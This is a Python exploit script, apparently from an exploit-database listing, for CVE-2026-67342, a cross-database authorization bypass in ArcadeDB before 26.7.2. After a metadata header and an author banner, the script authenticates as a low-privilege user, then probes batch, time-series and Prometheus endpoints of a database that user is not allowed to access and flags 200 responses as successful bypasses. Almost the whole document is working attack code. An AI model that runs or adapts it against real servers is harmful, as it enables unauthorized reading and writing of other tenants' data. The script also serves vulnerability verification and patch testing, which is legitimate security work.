#!/usr/bin/env python3 # Exploit Title: ArcadeDB < 26.7.2 Cross-Database Authorization Bypass (IDOR) # CVE: CVE-2026-67342 # Date: 2026-08-02 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://arcadedb.com # Software Link: https://github.com/ArcadeData/arcadedb # Affected: ArcadeDB < 26.7.2 # Tested on: ArcadeDB 26.7.1 # Category: Remote # Platform: Multi # Exploit Type: Authorization Bypass / IDOR # CVSS: 9.3 # CWE : CWE-639 # Description: HTTP handlers for time series, batch, Prometheus and Grafana endpoints fail to validate database access permissions allowing cross-database read/write. # Fixed in: 26.7.2 # Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db> # # Examples: # python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b # # Options: # # Notes: # Requires valid credentials for any database. Vulnerable endpoints return 200 while protected endpoints correctly return 403. # # How to Use # # Step 1: Provide target URL and credentials of a limited user print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║ ║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║ ║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║ ║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║ ║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║ ║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║ ║ ║ ║ [ b a n y a m e r _ s e c u r i t y ] ║ ║ ║ ║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ Exploit : CVE-2026-67342 ║ ║ Target : ArcadeDB < 26.7.2 ║ ║ ║ ║ Status : ACTIVE ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import requests import sys from requests.auth import HTTPBasicAuth def exploit(target, username, password, allowed_db, target_db): base = target.rstrip("/") auth = HTTPBasicAuth(username, password) print(f"[*] Target : {base}") print(f"[*] Authenticated as: {username}") print(f"[*] Allowed DB : {allowed_db}") print(f"[*] Target DB : {target_db}") print("-" * 60) print("[*] Testing protected endpoint (should be 403)...") r = requests.post( f"{base}/api/v1/command/{target_db}", json={"language": "sql", "command": "SELECT FROM V LIMIT 1"}, auth=auth, timeout=10 ) print(f" /api/v1/command/{target_db} → {r.status_code}") endpoints = [ ("POST", f"/api/v1/batch/{target_db}", {"operations": []}), ("POST", f"/api/v1/ts/{target_db}/write", {"metrics": []}), ("POST", f"/api/v1/ts/{target_db}/query", {"query": "SELECT 1"}), ("GET", f"/api/v1/ts/{target_db}/prom/api/v1/query", None), ] print("\n[*] Testing vulnerable handlers...") for method, path, body in endpoints: url = base + path try: if method == "POST": r = requests.post(url, json=body, auth=auth, timeout=10) else: r = requests.get(url, auth=auth, timeout=10) status = r.status_code if status == 200: print(f" [+] {method} {path} → {status} (BYPASS SUCCESS)") else: print(f" [-] {method} {path} → {status}") except Exception as e: print(f" [!] {method} {path} → Error: {e}") print("\n[*] Done.") if __name__ == "__main__": if len(sys.argv) != 6: print("Usage: python3 exploit.py <url> <user> <pass> <allowed_db> <target_db>") print("Example: python3 exploit.py http://127.0.0.1:2480 alice secret db_a db_b") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])
References:
https://github.com/ArcadeData/arcadedb/security/advisories/GHSA-x8mg-6r4p-87pf
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |